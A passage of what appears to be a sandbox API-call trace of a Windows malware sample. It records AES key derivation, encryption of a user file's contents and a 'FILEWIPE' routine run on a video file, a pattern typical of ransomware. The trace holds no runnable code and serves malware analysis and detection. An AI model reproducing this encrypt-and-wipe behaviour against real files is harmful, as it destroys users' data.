lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.748] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.749] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.749] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.749] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.749] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.749] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.750] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.750] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.750] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b1b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.750] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.750] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.750] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0029.750] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.750] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.751] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.752] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xfe71, lpOverlapped=0x0) returned 1 [0029.753] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.755] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.756] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.756] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.756] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.756] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.756] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.756] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.756] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.756] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.756] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfe71, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfe80) returned 1 [0029.756] CharLowerBuffW (in: lpsz="byte[65153]", cchLength=0xb | out: lpsz="byte[65153]") returned 0xb [0029.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.758] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a9bb0*, pdwDataLen=0xe8f3dfdf68*=0xfe71, dwBufLen=0xfe80 | out: pbData=0xe8f43a9bb0*, pdwDataLen=0xe8f3dfdf68*=0xfe80) returned 1 [0029.759] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.764] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.764] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.764] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.764] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.764] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.764] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.765] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.765] CloseHandle (hObject=0x188) returned 1 [0029.767] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.767] CloseHandle (hObject=0x1fc) returned 1 [0029.768] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.772] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.772] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.772] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\tvwJu6.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\tvwju6.mp4")) returned 0x20 [0029.772] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.772] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\tvwJu6.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a190 [0029.772] FindClose (in: hFindFile=0xe8f406a190 | out: hFindFile=0xe8f406a190) returned 1 [0029.773] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.773] CharLowerBuffW (in: lpsz="byte[65137]", cchLength=0xb | out: lpsz="byte[65137]") returned 0xb [0029.774] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.774] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.774] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.775] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.775] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064680, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.775] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.775] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.775] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.775] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.775] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.775] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.776] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.776] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.777] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.777] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.778] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.778] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11860) returned 1 [0029.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.778] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2e54, lpOverlapped=0x0) returned 1 [0029.779] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.779] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.779] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11860) returned 1 [0029.779] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.779] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.780] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.780] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.780] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.780] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.780] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.780] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.780] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.780] PeekMessageW (in: 